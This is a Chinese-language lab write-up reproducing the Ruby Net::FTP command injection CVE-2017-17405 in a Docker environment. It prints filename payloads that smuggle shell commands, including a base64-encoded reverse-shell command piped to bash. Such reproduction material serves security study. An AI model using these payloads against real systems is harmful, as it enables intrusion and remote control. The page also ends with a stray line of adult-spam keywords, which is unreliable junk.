<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Ruby Net::FTP 模塊命令注入漏洞(CVE-2017-17405)

    Path ruby/CVE-2017-17405

    Ruby Net::FTP 模塊是一個FTP客戶端,在上傳和下載文件的過程中,打開本地文件時使用了open函數。而在ruby中,open函數是借用系統命令來打開文件,且沒用過濾shell字符,導致在用戶控制文件名的情況下,將可以注入任意命令。

    環境搭建

    編譯及運行漏洞環境:

    docker-compose build
    docker-compose up -d

    環境啟動后,訪問http://your-ip:8080/將可以看到一個HTTP服務。這個HTTP服務的作用是,我們訪問http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt,它會從example.com:2121這個ftp服務端下載文件vulhub.txt到本地,并將內容返回給用戶。

    漏洞復現

    因為這是一個FTP客戶端的漏洞,所以我們需要先運行一個可以被訪問到的服務端。比如使用python:

    # 安裝pyftpdlib
    pip install pyftpdlib
    
    # 在當前目錄下啟動一個ftp服務器,默認監聽在`0.0.0.0:2121`端口
    python3 -m pyftpdlib -p 2121 -i 0.0.0.0

    然后即可開始利用漏洞。注入命令|touch${IFS}success.txt(空格用${IFS}代替,原因不表),發送如下數據包即可(其中uri指定的ftp服務器就是我用python運行的一個簡單的ftp server,其中無需放置任何文件):

    然后進入docker容器內,可見success.txt已被創建:

    執行反彈shell的命令|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}',成功反彈:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类